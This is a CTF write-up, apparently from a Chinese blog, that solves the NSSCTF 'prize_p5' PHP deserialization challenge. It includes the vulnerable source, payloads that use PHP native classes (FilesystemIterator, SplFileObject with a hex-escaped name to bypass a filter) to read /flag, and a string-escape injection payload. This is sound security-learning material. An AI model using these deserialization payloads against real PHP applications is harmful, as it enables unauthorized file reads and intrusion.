[NSSCTF]prize_p5

前言

之前就学过反序列化的字符串逃逸

但是没怎么做题

补一下窟窿

题目

php 复制代码
 <?php
  error_reporting(0);

  class catalogue
  {
    public $class;
    public $data;
    public function __construct()
    {
      $this->class = "error";
      $this->data = "hacker";
    }
    public function __destruct()
    {
      echo new $this->class($this->data);
    }
  }
  class error
  {
    public function __construct($OTL)
    {
      $this->OTL = $OTL;
      echo ("hello " . $this->OTL);
    }
  }
  class escape
  {
    public $name = 'OTL';
    public $phone = '123666';
    public $email = 'sweet@OTL.com';
  }
  function abscond($string)
  {
    $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
    $filter = '/' . implode('|', $filter) . '/i';
    return preg_replace($filter, 'hacker', $string);
  }
  if (isset($_GET['cata'])) {
    if (!preg_match('/object/i', $_GET['cata'])) {
      unserialize($_GET['cata']);
    } else {
      $cc = new catalogue();
      unserialize(serialize($cc));
    }
    if (isset($_POST['name']) && isset($_POST['phone']) && isset($_POST['email'])) {
      if (preg_match("/flag/i", $_POST['email'])) {
        die("nonono,you can not do that!");
      }
      $abscond = new escape();
      $abscond->name = $_POST['name'];
      $abscond->phone = $_POST['phone'];
      $abscond->email = $_POST['email'];
      $abscond = serialize($abscond);
      $escape = get_object_vars(unserialize(abscond($abscond)));
      if (is_array($escape['phone'])) {
        echo base64_encode(file_get_contents($escape['email']));
      } else {
        echo "I'm sorry to tell you that you are wrong";
      }
    }
  } else {
    highlight_file(__FILE__);
  }
  ?> 

思路

看到字符串逃逸

这题的关键应该是在这里

得到flag的触发点应该是在这里

但是

不知道flag在的文件名是啥

思路就断了

这里还允许我们get传个参数

看看能干嘛

这里找到可变参数

class的值可以自定义

并且通过data穿参

这样通过构造就能命令执行

这里看别人的wp

要用到PHP原生类函数浅析PHP原生类 - 知乎

这里用FilesystemIterator这个迭代器读取跟目录的值

先构造一下试试

php 复制代码
<?php
error_reporting(0);

class catalogue
{
  public $class = 'FilesystemIterator';
  public $data = '/';


}

class escape
{
  public $name = 'OTL';
  public $phone = '123666';
  public $email = 'sweet@OTL.com';
}

$a = new catalogue;
$b = new error;
$c = new escape;
echo serialize($a);

O:9:"catalogue":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"data";s:1:"/";}

只有sys

看别人的wp得到这里要用glob协议找到flag文件

glob协议的用法:

glob:// - 开发帮助文档

O:9:"catalogue":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"data";s:11:"glob:///fl*";}

找到flag

在根目录下有一个flag文件,那么可不可以用一个原生类来读呢?是有的

可以利用SplFileObject这个原生类,但是对object进行了过滤,这里需要使用到反序列化的小知识点:

复制代码
方便数据的传输,反序列化内容中大写的S表示字符串,可以识别内容里的十六进制

O:9:"catalogue":2:{s:5:"class";S:13:"SplFileO\62ject";s:4:"data";s:5:"/flag";}

这是一个非预期解 主要用到php原生函数的学习

预期解还是要用字符串逃逸

这里对三个post的值有两个限制

一个是email的值不能有/flag

一个是phone的值为数组

我们先构造一下

O:6:"escape":3:{s:4:"name";s:5:"/flag";s:5:"phone";a:1:{i:0;s:2:"aa";}s:5:"email";s:5:"/flag";}

我们可以通过字符串逃逸构造name的值为xxx+"";s:5:"phone";a:1:{i:0;s:2:"aa";}s:5:"email";s:5:"/flag";}"

最后的payload为

name=NSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSShello";s:5:"phone";a:1:{i:0;s:2:"aa";}s:5:"email";s:5:"/flag";}&phone=123&email=111

相关推荐
Hello_Embed1 小时前
STM32HAL 快速入门(二十):UART 中断改进 —— 环形缓冲区解决数据丢失
笔记·stm32·单片机·学习·嵌入式软件
咸甜适中1 小时前
rust语言 (1.88) 学习笔记:客户端和服务器端同在一个项目中
笔记·学习·rust
人工智能训练师1 小时前
Ubuntu22.04如何安装新版本的Node.js和npm
linux·运维·前端·人工智能·ubuntu·npm·node.js
Seveny071 小时前
pnpm相对于npm,yarn的优势
前端·npm·node.js
Magnetic_h2 小时前
【iOS】设计模式复习
笔记·学习·ios·设计模式·objective-c·cocoa
yddddddy2 小时前
css的基本知识
前端·css
昔人'2 小时前
css `lh`单位
前端·css
研梦非凡3 小时前
ICCV 2025|从粗到细:用于高效3D高斯溅射的可学习离散小波变换
人工智能·深度学习·学习·3d
前端君3 小时前
实现最大异步并发执行队列
javascript
limengshi1383924 小时前
机器学习面试:请介绍几种常用的学习率衰减方式
人工智能·学习·机器学习